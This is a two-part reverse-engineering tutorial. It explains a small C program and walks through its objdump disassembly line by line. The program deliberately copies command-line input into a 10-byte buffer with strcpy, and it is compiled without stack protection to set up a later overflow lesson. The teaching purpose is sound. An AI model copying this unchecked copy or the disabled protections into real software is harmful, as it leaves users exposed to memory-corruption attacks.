#include 

void func(char *ptr)
{
char buf[10];
printf("copy %d bytes of data to buf\n", strlen(ptr));
strcpy(buf, ptr);
}

int main(int argc, char **argv)
{
printf("Passing user input to func()\n");
func(argv[1]);
return 0;
}



We start our code by including the library ‘stdio.h’, which we’ll need in order to use ‘built in’ C functions like strlen(), strcpy(), and printf().

We then define the function, func(). This function does not return any value, so we define it as type ‘void’. The argument to func() is a pointer variable called *ptr, and since the data stored at the memory address it will point to is expected to be ASCII, it is defined as type ‘char’.

You may also notice the asterisk before it, this denotes that *ptr will hold the value at a given memory address.

We then allocate a buffer, named ‘buf’ (again, denoted as type ‘char’), with a size of 10 bytes and call the built in C function printf() to print the string "copy %d bytes of data to buf\n", to stdout.

One of the arguments made to printf() is a call to strlen(), another built in C function, which will return the length of the string pointed to by *ptr. It will iterate through the string until it reaches a null byte.

So, putting that together, printf() will print "copy %d bytes of data to buf\n" to stdout, and the output of strlen() will be shoved into the ‘%d’ format placeholder (%d is used since the output of strlen() will be a decimal value).

Lastly, strcpy() is called, which copies the contents of what address ‘ptr’ points to into the buffer (buf) that we had previously allocated. As we’ll see later, using strcpy() is a bad idea, as it doesn’t check the size of data it copies before it shoves it into a buffer. This can lead to a buffer overflow vulnerability if the size of the data being copied is larger than the buffer it’s being copied into.

Ok, so now on to the next function, main(). All C programs must have a main() function. It’s what calls the rest of the functions in the program, and generally dictates the program flow. In our case, main() will be returning an integer value so we define it as type ‘int’. Then, we give two arguments to the function. These are the arguments given at the command line (**argv), and the number of arguments given (argc). Since ‘argc’ is a numerical value, it’s of type ‘int’, and **argv is of type ‘char’ as we are expecting ASCII input.

The two asterisks in front of the array **argv denotes it as being a pointer to a pointer. As we will see in a minute, it will be passed as a argument to func() and thus **argv will point to *ptr, which is itself a pointer.

Ok, so next we call printf() again and print "Passing user input to func()\n" to stdout. Then we call func() and pass it the first command line argument, argv[1], as an argument. As I said, argv is also an array, and argv[0] (first spot in the array) denotes the program itself, so the first command line argument will always be denoted by argv[1].

We then return 0 to indicate the program was successful, and we’re done.

You may also note the brackets used in the program. These denote code blocks in C, and are necessary syntactically for the program to run. You can see how they enclose the code block for each of our functions.

So, this is the end the first blog post on this topic. The next will cover disassembling this simple program and reviewing the ASM code to understand what is occurring.

Hope you enjoyed :)

Reversing Basics Part 2: Understanding the Assembly

$
0
0
By Robert Portvliet.

This is the second blog post in a four part series. In the first post, we reviewed the structure of a simple C program. In this installment, we will cover disassembling this program, and reviewing the Assembly code generated by the compiler, GCC.

First, let’s once again post our source code, just for reference purposes:

#include <stdio.h>
void func(char *ptr)
{
char buf[10];
printf("copy %d bytes of data to buf\n", strlen(ptr));
strcpy(buf, ptr);
}

int main(int argc, char **argv)
{
printf("Passing user input to func()\n");
func(argv[1]);
return 0;
}



Next, let’s compile it using GCC. I’m going to include the “–fno-stack-protector” switch, to avoid adding a stack canary. This will simplify things, and allow us to walk through a simple stack based buffer overflow in the 3rd blog post of our series.

Our command line is:

gcc -o basic basic.c -fno-stack-protector



This command takes the basic.c source code as input and outputs the compiled program ‘basic’. We built it; now let’s immediately take it apart :)

To disassemble our program, we’ll use objdump.

objdump -M intel -d basic | grep -A 15 main.:  



main()

Here, we’re disassembling the ‘basic’ program, specifying Intel syntax, and piping the output to grep, where we want the next 20 lines after we see “main.:

That gives us the following:

080484bc <main>:
80484bc: 55 push ebp
80484bd: 89 e5 mov ebp,esp
80484bf: 83 e4 f0 and esp,0xfffffff0
80484c2: 83 ec 10 sub esp,0x10
80484c5: c7 04 24 ce 85 04 08 mov DWORD PTR [esp],0x80485ce
80484cc: e8 e7 fe ff ff call 80483b8 <puts@plt>
80484d1: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80484d4: 83 c0 04 add eax,0x4
80484d7: 8b 00 mov eax,DWORD PTR [eax]
80484d9: 89 04 24 mov DWORD PTR [esp],eax
80484dc: e8 a3 ff ff ff call 8048484 <func>
80484e1: b8 00 00 00 00 mov eax,0x0
80484e6: c9 leave
80484e7: c3 ret




So, let’s look at what’s going on here.

1. 80484bc: 55                    push   ebp
2. 80484bd: 89 e5 mov ebp,esp




These first two lines are the function prologue. The first pushes EBP, the base pointer, onto the stack. The second line copies ESP, the existing stack pointer from the previous stack frame, into EBP.

3. 80484bf: 83 e4 f0              and    esp,0xfffffff0




The next line aligns the stack to a 16-byte boundary. This is another instruction added by the compiler.

4. 80484c2: 83 ec 10              sub    esp,0x10




The fourth line “sub esp,0x10” allocates 16 bytes of space on the stack. Remember that the stack grows towards lower memory addresses, so allocations will use ‘sub’. This is carving out space for ‘buf’.

char buf[10];

5. 80484c5: c7 04 24 ce 85 04 08  mov    DWORD PTR [esp],0x80485ce




The fifth line moves the memory address 0x80485ce into the location pointed to by ESP. It denotes this as being a DWORD or double word, which is 4 bytes (32 bits). In this case, it is the string "Passing user input to func()\n” that is being moved here, as it is setting up for the puts() function.

Note: Whenever you see brackets around something in assembly, such as we see with ESP here, it’s pointing to the value (the actual data) in the memory address, that is being pointed to (in this case by ESP). This is called dereferencing a pointer.

We’re going to see the behavior of something being shoved into a memory address pointed to by ESP right before a function is called a few more times before we’re done. This is the equivalent of pushing a value onto the stack so we can work with it.

5. 80484cc: e8 e7 fe ff ff        call   80483b8 




The sixth line makes a call to puts(). You may be wondering why this is since it was not in our source code. The answer is that it is a compiler (GCC) optimization. If we were to specify –fno-builtin-printf when we compiled the program, we would see printf() being called here instead.

Anyway, back to puts(). Three things happen here, first ‘call’ puts the address of the next instruction (80484d1) on the stack so the program can return to it after puts() is done executing. Then it calls puts() which prints the string "Passing user input to func()\n" to stdout.

7. 80484d1: 8b 45 0c              mov    eax,DWORD PTR [ebp+0xc]
8. 80484d4: 83 c0 04 add eax,0x4



Line seven moves the value at ebp+0xc (12 bytes down the stack from EBP) into EAX, then line eight moves us another 4 bytes. The best way to figure out what that is would be to look at how the stack frame is laid out.



As you can see, EBP+12 contains the function parameters that we are passing in from the command line. However, recall from our first blog post that the first element in the argv array, argv[0], is always the program itself, so we would want the second element in the array, argv[1], which is EBP+16.

Note: It’s helpful to remember that each memory address is 4 bytes (32bits), or one DWORD (double word). So, each line of assembly that we are covering here equates to 4 bytes.
9. 80484d7:  8b 00                 mov    eax,DWORD PTR [eax]
10. 80484d9: 89 04 24 mov DWORD PTR [esp],eax
11. 80484dc: e8 a3 ff ff ff call 8048484 <func>




The next three lines are best looked at together. Line nine dereferences the pointer that EAX points to (grabs the value at the memory address that EAX points to) and stores that value in the EAX register itself. This is our command line argument. Then, line ten moves that value from EAX into a location pointed to by ESP.

Lines nine and ten are setting up the function variables for func(), and then on line eleven we call func(). This which will once again place the address of the next instruction (80484e1) on the stack, execute func(), and then return to address of the next instruction, 80484e1, when func() is done.

Finally, lines 12-14 are basically clean up:

12. 80484e1: b8 00 00 00 00        mov    eax,0x0
13. 80484e6: c9 leave
14. 80484e7: c3 ret




In the first, it zeros out the EAX register, then in the next it invokes ‘leave’ which is basically a shortcut for the function epilogue, and equates to the following:

mov esp, ebp
pop ebp




Here we collapse our stack frame by moving EBP into ESP, and then pop EBP off the stack.

Finally, ‘ret’ pops the return address of the previous stack frame off the stack and returns to it.

func()

Now, let’s take a look at the func() function. Run the following to disassemble basic and grep for the next 20 lines following “func.:

objdump -M intel -d basic | grep -A20 func.:

08048484 :
8048484: 55 push ebp
8048485: 89 e5 mov ebp,esp
8048487: 83 ec 28 sub esp,0x28
804848a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804848d: 89 04 24 mov DWORD PTR [esp],eax
8048490: e8 f3 fe ff ff call 8048388 <strlen@plt>
8048495: 89 c2 mov edx,eax
8048497: b8 b0 85 04 08 mov eax,0x80485b0
804849c: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80484a0: 89 04 24 mov DWORD PTR [esp],eax
80484a3: e8 00 ff ff ff call 80483a8 <printf@plt>
80484a8: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80484ab: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484af: 8d 45 ee lea eax,[ebp-0x12]
80484b2: 89 04 24 mov DWORD PTR [esp],eax
80484b5: e8 de fe ff ff call 8048398 <strcpy@plt>
80484ba: c9 leave
80484bb: c3 ret





Ok, let’s get started...

1. 8048484: 55                    push   ebp
2. 8048485: 89 e5 mov ebp,esp



Once again, the first two lines are the function prologue.

1. 8048484: 55                    push   ebp
3. 8048487: 83 ec 28 sub esp,0x28



Next 0x28 bytes of space is allocated on the stack.

4. 804848a: 8b 45 08              mov    eax,DWORD PTR [ebp+0x8]



Then, the value at EBP+0x08 is loaded into the EAX register. To figure out what that is, let’s refer back to our stack diagram.



At EBP+8 (8 bytes ‘down’ the stack from EBP) is the ‘ptr’ pointer variable. So, it is loading the value of *ptr, (brackets mean ‘actual data at location in memory’, remember?), into the EAX register.

Note: The value in *ptr is the contents of argv[1]. When main() called func() it passed argv[1] as a parameter.

func(argv[1]);

5. 804848d: 89 04 24              mov    DWORD PTR [esp],eax



Here we see it setting up to do something with this data again, as Line 5 copies the contents of EAX (argv[1]), into the memory location pointed to by ESP. I smell a function call coming...

6. 8048490: e8 f3 fe ff ff        call   8048388 <strlen@plt>



Yup, there it is. So, here we are calling strlen() with ‘ptr’ as an argument. As mention in our first blog post, strlen() returns the length of a string. It iterates through until it hits a null byte.

So, look at the source code below. We’ve just done the part in red. Now, I’m guessing the value we get out of strlen() is headed for printf() to fill in the %d, don’t you?

printf("copy %d bytes of data to buf\n", strlen(ptr));



Ok, on to the next few lines...

7. 8048495: 89 c2                 mov    edx,eax



EAX is generally used to contain the output of a function, so the output of strlen() (the length of the data in *ptr) is now in EAX. It’s likely moving it into EDX for the moment, so EAX can be used for something else.

Note: EDX– “The data register is an extension to the accumulator (EAX). It is most useful for storing data related to the accumulator's current calculation.

8. 8048497: b8 b0 85 04 08        mov    eax,0x80485b0



Now that we’ve freed up EAX, we can move the memory address 0x80485b0 into it.

9. 804849c:  89 54 24 04           mov    DWORD PTR [esp+0x4],edx
10. 80484a0: 89 04 24 mov DWORD PTR [esp],eax



Now, we’re moving the value in EDX (the output of strlen()) into ESP+4. That’s 4 bytes, or one memory address ‘down’ the stack from ESP. Then we move the contents of EAX (the memory address 0x80485b0) into a location pointed to by ESP.

So, two things here, what is now pointed to by ESP is the string "copy %d bytes of data to buf\n", and what is in ESP+4 is the value going into %d. Do you sense a function call being setup here? ;)

11. 80484a3: e8 00 ff ff ff        call   80483a8 <printf@plt>



Yup! Here we call printf() and print "copy %d bytes of data to buf\n" to stdout. The %d being the length (as determined by strlen()) of the argument we provided to the program at runtime.

Now that’s done. We have one more thing to do:

strcpy(buf, ptr);



12. 80484a8: 8b 45 08              mov    eax,DWORD PTR [ebp+0x8]



Line 12 moves the value at EBP+8, which is *ptr, into EAX.

13. 80484ab: 89 44 24 04           mov    DWORD PTR [esp+0x4],eax



Line 13 then moves it from EAX into the location pointed to by ESP+4.

14. 80484af: 8d 45 ee              lea    eax,[ebp-0x12]



Line 14 gives us a new instruction, LEA. LEA stands for ‘load effective address’, and it does just that. In this case, it loads the memory address (not the contents) at EBP-12 (0x12 bytes ‘up’ the stack from EBP) into EAX.

15. 80484b2: 89 04 24              mov    DWORD PTR [esp],eax



Then we move the contents of EAX into the address pointed to by ESP. Again, this is the equivalent of pushing it onto the stack, and means we are setting up for another function...

16. 80484b5: e8 de fe ff ff        call   8048398 <strcpy@plt>



Here we call strcpy() and copy the contents of ‘ptr’ into ‘buf’.

17. 80484ba: c9                    leave  
18. 80484bb: c3 ret



The last two lines we are already familiar with from reviewing main(). The first instruction, leave, is basically a shortcut for the function epilogue, and equates to the following:

mov esp, ebp
pop ebp




Finally, ‘ret’ pops the return address of the previous stack frame off the stack and returns to it.

So, that wraps up part two of the series. In part 3 we’re going to cover dynamic analysis with GDB. Hope you enjoyed :)

Viewing all 107 articles
Browse latest View live